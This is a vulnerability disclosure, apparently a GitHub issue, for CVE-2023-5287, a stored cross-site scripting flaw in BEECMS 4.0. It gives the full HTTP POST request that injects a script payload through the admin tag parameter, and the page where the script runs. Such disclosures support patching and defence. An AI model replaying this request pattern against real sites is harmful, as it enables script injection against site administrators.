Headline
CVE-2023-5287: beescms4.0 has storage xss · Issue #1 · zhenjiaqi/CVE
** UNSUPPPORTED WHEN ASSIGNED ** ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as problematic, was found in BEECMS 4.0. This affects an unknown part of the file /admin/admin_content_tag.php?action=save_content. The manipulation of the argument tag leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-240915. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Download address:
- http://beescms.com/cxxz.html
- https://pan.baidu.com/s/1slSoqIx
The vulnerability is located at: /admin/admin_content_tag.php? action=save_content
The packet is as follows:
POST /bees4.0/admin/admin_content_tag.php?action=save_content HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bees4.0/admin/admin_content_tag.php?action=content_list&lang=1&nav=main&admin_p_nav=main_info
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1/
DNT: 1
Connection: close
Cookie: PHPSESSID=7lq8r628r5sjnhmh349oe5d2p7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1tag_name=1&tag=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&content=1&lang=1
xss can be triggered by revisiting the following address
/admin/admin_content_tag.php?action=content_list&lang=1&nav=main&admin_p_nav=main_infoInstructions:
beecms is PHP+MYSQL, multi-language system, content module is easy to expand, template style is diversified, template production is simple and powerful, professional SEO optimization, convenient background operation, can fully meet the enterprise website, foreign trade website, public institutions, educational institutions, personal website use.